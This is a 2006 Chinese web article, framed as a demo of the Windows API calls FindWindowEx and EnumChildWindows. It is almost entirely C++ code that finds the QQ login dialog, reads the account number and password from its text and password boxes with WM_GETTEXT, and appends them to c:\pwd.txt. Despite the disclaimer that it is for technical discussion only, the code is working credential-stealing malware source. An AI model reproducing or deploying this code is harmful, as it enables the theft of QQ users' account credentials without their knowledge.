截取其他程序文本框和密码框内容的一种实现方法

王朝other·作者佚名  2006-01-09
宽屏版  字体: |||超大  

关于FindWindowEx和EnumChildWindows结合枚举任何一个控件的简单示例,以下代码以现在最为流行的qq为例,只抛砖引玉~~呵呵

申明:本文章仅从技术角度讨论这两个函数的使用方法,任何人可以自由传播\复制,但不得用做其他非法用途,否则责任自负.

BOOL CALLBACK EnumqqChildProc(HWND hwndChild, LPARAM lParam)

{ //如果找到qq窗口,调用这个过程枚举控件,得到密码和号码

char num[11];//qq号码

char pwd[20];//qq密码

BOOL b = true;

HWND CobHwnd = ::FindWindowEx(qqHwnd,NULL,"ComboBox",NULL);//得到下拉列表句柄

HWND EditNumHwnd = ::FindWindowEx(CobHwnd,NULL,"Edit",NULL);//得到号码文本框句柄

//以下循环是得到密码框句柄

HWND EditPWDHwnd = ::FindWindowEx(qqHwnd,NULL,"Edit",NULL);

HWND AfterHwnd = NULL;

while(b)

{

LONG lStyle = ::GetWindowLong(EditPWDHwnd, GWL_STYLE);//这个api很有用,可以得到很多东西

if( (lStyle & ES_PASSWORD))//如果有密码属性,就是密码框

{

b=false;

}

else

{

AfterHwnd = EditPWDHwnd;

EditPWDHwnd = ::FindWindowEx(qqHwnd,AfterHwnd,"Edit",NULL);

}

if(EditPWDHwnd==NULL)

return true;

}

//通过WM_GETTEXT取得,窗口中的文本;

SendMessage(EditNumHwnd,WM_GETTEXT,(WPARAM)11,(LPARAM)num);

SendMessage(EditPWDHwnd,WM_GETTEXT,(WPARAM)20,(LPARAM)pwd);

//记录号码和密码

CString str;

str.Format("\r\n号码:%s 密码:%s",num,pwd);

CFile f;

f.Open("c:\\pwd.txt",CFile::modeCreate|CFile::modeWrite|CFile::modeNoTruncate);

f.SeekToEnd();

f.Write(str,str.GetLength());

bLoop= false;

return false;

return TRUE;

}

BOOL CALLBACK EnumChildProc(HWND hwndChild, LPARAM lParam)

{ //这个回调函数就是用来找到qq窗口句柄

char strTitle[80];

if(::GetWindowText(hwndChild,strTitle,80))

if(strstr(strTitle,"QQ密码")!=0)//如果标题中有"QQ密码"字串,就视为找到

{

bFindqq = true;

return false;

}

return TRUE;

}

//调用的代码:

HWND hwnd=NULL;//::FindWindow((LPCSTR)"#32770",NULL);

HWND AfterHwnd = NULL;

while(!bFindqq)//bFindqq是一个全局变量,标志是否找到了qq窗口

{

hwnd=::FindWindowEx(NULL,AfterHwnd,(LPCSTR)"#32770",NULL);

if(!hwnd)

break;

AfterHwnd = hwnd;

EnumChildWindows(hwnd,EnumChildProc,NULL);

if(bFindqq)

qqHwnd = hwnd;

}

if(bFindqq)

EnumChildWindows(hwnd,EnumqqChildProc,NULL);

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
© 2005- 王朝网络 版权所有